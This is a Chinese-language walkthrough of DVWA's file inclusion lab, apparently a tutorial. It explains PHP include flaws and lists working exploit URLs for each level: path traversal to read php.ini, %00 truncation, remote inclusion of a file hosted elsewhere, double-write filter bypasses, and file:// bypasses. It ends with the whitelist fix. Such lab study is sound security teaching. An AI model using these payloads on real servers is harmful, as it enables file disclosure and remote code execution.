- 什麼是檔案包含?
程式開發人員通常會把可重複使用的函數寫到單個檔案中,在使用某些函數時,直接調用此檔案,無需再次編寫,這種調用檔案的過程一般被稱為檔案包含。
- 檔案包含漏洞的成因
随着網站業務的需求,程式開發人員一般希望代碼更靈活,是以将被包含的檔案設定為變量,用來進行動态調用,但是正是這種靈活性通過動态變 量的方式引入需要包含的檔案時,使用者對這個變量可控而且服務端又沒有做合理的校驗或者校驗被繞過就造成了檔案包含漏洞。
- 檔案包含漏洞簡介
- File Inclusion,檔案包含(漏洞),是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動态包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導緻任意檔案讀取或者任意指令執行。
-
require():可以包含檔案,如果包含錯了,直接報錯并退出程式的執行
include():在包含的過程中如果出現錯誤,會抛出一個警告,程式繼續正常運作
require_once():與require類似,差別在于當重複調用同一檔案時,程式隻調用一次
include_once():與include類似,差別在于當重複調用同一檔案時,程式隻調用一次
- 檔案包含漏洞分為本地檔案包含漏洞與遠端檔案包含漏洞
- 遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後,伺服器允許包含一個遠端的檔案)。
- 類似的還有:僞協定、file、phpinput://

目錄
low級别源碼分析
medium級别源碼分析
high級别源碼分析
impossible級别源碼分析
low級别源碼分析
伺服器端對page參數沒有做任何的過濾跟檢查。
伺服器期望使用者的操作是點選下面的三個連結,伺服器會包含相應的檔案,并将結果傳回。
伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當做php檔案執行,如果檔案内容确為php,則會正常執行并傳回結果,如果不是,則會原封不動地列印檔案内容,是以檔案包含漏洞常常會導緻任意檔案讀取與任意指令執行。
點選file1.php後,顯示如下
漏洞利用
本地檔案包含
構造url:
報錯,顯示沒有這個檔案,說明不是伺服器系統不是Linux,但同時暴露了伺服器檔案的絕對路徑。
構造url(絕對路徑):成功讀取伺服器的php.ini檔案
構造url(相對路徑):加這麼多..\是為了保證到達伺服器的C槽根目錄,可以看到讀取是成功的。
同時我們看到,配置檔案中的Magic_quote_gpc選項為off。在php版本小于5.3.4的伺服器中,當Magic_quote_gpc選項為off時,我們可以在檔案名中使用%00進行截斷,也就是說檔案名中%00後的内容不會被識别,即下面兩個url是完全等效的。
- http://192.168.109.140/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\DVWA\php.ini
- http://192.168.109.140/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\DVWA\php.ini%0012.php
使用%00截斷可以繞過某些過濾規則,例如要求page參數的字尾必須為php,這時連結A會讀取失敗,而連結B可以繞過規則成功讀取。
遠端檔案包含
當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态時,伺服器會允許包含遠端伺服器上的檔案,如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。
構造url:http://192.168.109.129/dvwa/vulnerabilities/fi/?page=http://192.168.109.129/phpinfo.txt
為了增加隐蔽性,可以對http://192.168.32.136/phpinfo.txt進行編碼
http://192.168.109.129/dvwa/vulnerabilities/fi/?page=http%3A%2F%2F192.168.109.129%2Fphpinfo.txt
medium級别源碼分析
與low級别相比,增加了str_place()函數,對page參數進行了一定的處理,将”http:// ”、”https://”、 ” ../”、”..\”替換為空字元,即删除。
漏洞利用
使用str_replace函數是極其不安全的,因為可以使用雙寫繞過替換規則
例如:page=hthttp://tp://192.168.32.136/phpinfo.txt 時,str_replace函數會将http://删除,于是page=http://192.168.32.136/phpinfo.txt,成功執行遠端指令。
同時,因為替換的隻是“../”、“..\”,是以對采用絕對路徑的方式包含檔案是不會受到任何限制的。
本地檔案包含
相對路徑:http://192.168.109.140/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././PHPStudy\PHPTutorial\WWW\dvwa\php.ini
絕對路徑:http://192.168.109.140/dvwa/vulnerabilities/fi/?page=C:\PHPStudy\PHPTutorial\WWW\dvwa\php.ini
均讀取成功!
遠端檔案包含
http://192.168.109.140/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.109.140/phpinfo.txt
high級别源碼分析
在這裡需要注意php版本推薦要調到4.5
與medium源碼相比,增加了fnmatch()函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案。
可以利用file協定繞過防護政策,用浏覽器打開一個本地檔案時,用的就是file協定。
漏洞利用
構造URL:http://192.168.109.140/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
成功讀取本地檔案php.ini
至于執行任意指令,需要配合檔案上傳漏洞利用。首先需要上傳一個内容為php的檔案,然後再利用file協定去包含上傳檔案(需要知道上傳檔案的絕對路徑),進而實作任意指令執行。
impossible級别源碼分析
從源碼中可以很清楚的看到,page參數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,它實質上是使用了白名單機制進行防護,以非常簡潔明了的方式說明具體哪些檔案被允許,徹底杜絕了檔案包含漏洞。